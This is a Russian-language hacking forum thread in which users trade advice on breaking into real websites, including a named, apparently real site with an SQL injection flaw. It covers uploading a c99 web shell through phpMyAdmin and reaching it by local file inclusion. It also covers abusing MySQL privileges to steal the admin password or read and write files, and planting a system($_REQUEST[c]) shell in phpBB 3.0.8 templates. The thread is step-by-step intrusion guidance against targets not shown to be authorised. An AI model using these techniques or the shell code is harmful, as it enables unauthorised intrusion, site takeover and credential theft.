Как можно это обработать на "чистый" лист?

http://www.elitecrownmoldings.com/home.php?cat=6

кстати, тут походу у пользователя есть права на INSERT =)

и еще вопросик, как можно узнать привилегии пользователя mysql, ну и других дб?

залили шелл через pma

узнал путь /var/lib/mysql/tmp/c99.php

но теперь как шелл то сам юзануть?

инклюд локальный, больше никак ...

Дело не в правах пользователя на INSERT, а в том что в уязвимый запрос входит команда INSERT.

Могу сказать, что INSERT-иньекцию провести не удасться, т.к. в запрос входит путь, который подделать\обрезать не возможно.

Мдя уж, забавно

По поводу привилегий:

Максимальный привелегии, что у тебя могут быть (которые помогаю в SQLi) это доступ на чтение mysql.user, чтобы узнать пасс админа MySQL и подключиться удаленно\к phpMyAdmin, если есть, ну или пробрутить FTP\SSH.

Ну или file_priv, что тебе позволяет читать файлы, а при отсутсвие mq, то и заливать файлы

Ну и обычно если есть доступ к mysql.user, то и есть доступ в file_priv.

Ну и по поводу раскручивания данной инъекции.

Запрос выдает ошибку только при кавычке подставленной, если ее нет, то все отбрасываеться.

Попробуй избавиться от ошибки при кавычке.

Ты залил шелл в /tmp, в котором храняться файлы сессий, к которому нету доступа из под веба, то есть никак не прочитать (ну если нету LFI\RFI). Попробуй просканить сайт на директории, посмотри в каких папках лежат картинки\js\css \etc и пробуй залить во все эти диры, ведь я, надеюсь, у тебя есть путь к сайту? Если нету то читай мой пост пару страниц ниже...

нашол путь тот который надо

http://www.xxx.ru/show.php?f=../../../../var/lib/mysql/c99.php

но там пустая страница, тоесть меню сайта и шапка есть а там где контент пусто

пробовал залить в js (такая папка есть) но не могу точный путь найти к ней, читал etc/passwd там ничего такого нет

DirBuster тебе в помощь...

как можно залить шелл в PhpBB версии 3.0.8 имея доступ в админку

Гугл не помог

google.ru > Заливка шелла phpbb3 site:forum.antichat.ru

google.ru > Заливка шелла phpbb3 site:rdot.org

гуглим правильно (с)

Заливка шела через темплейты в phpBB3 (необходим доступ в админку).

1. Разрешаем выполнение пхп в темплейтах. Устанавливаем галочку в Основные настройки(General Settings) -> Настройки безопасности(Security Settings) -> Разрешить выполнение пхп в темплейтах (Allow php in templates).

2. Далее в стилях выбираем необходимый темплейт и прописываем необходимый пхп код в следующей конструкции:

system($_REQUEST[c]);

Источник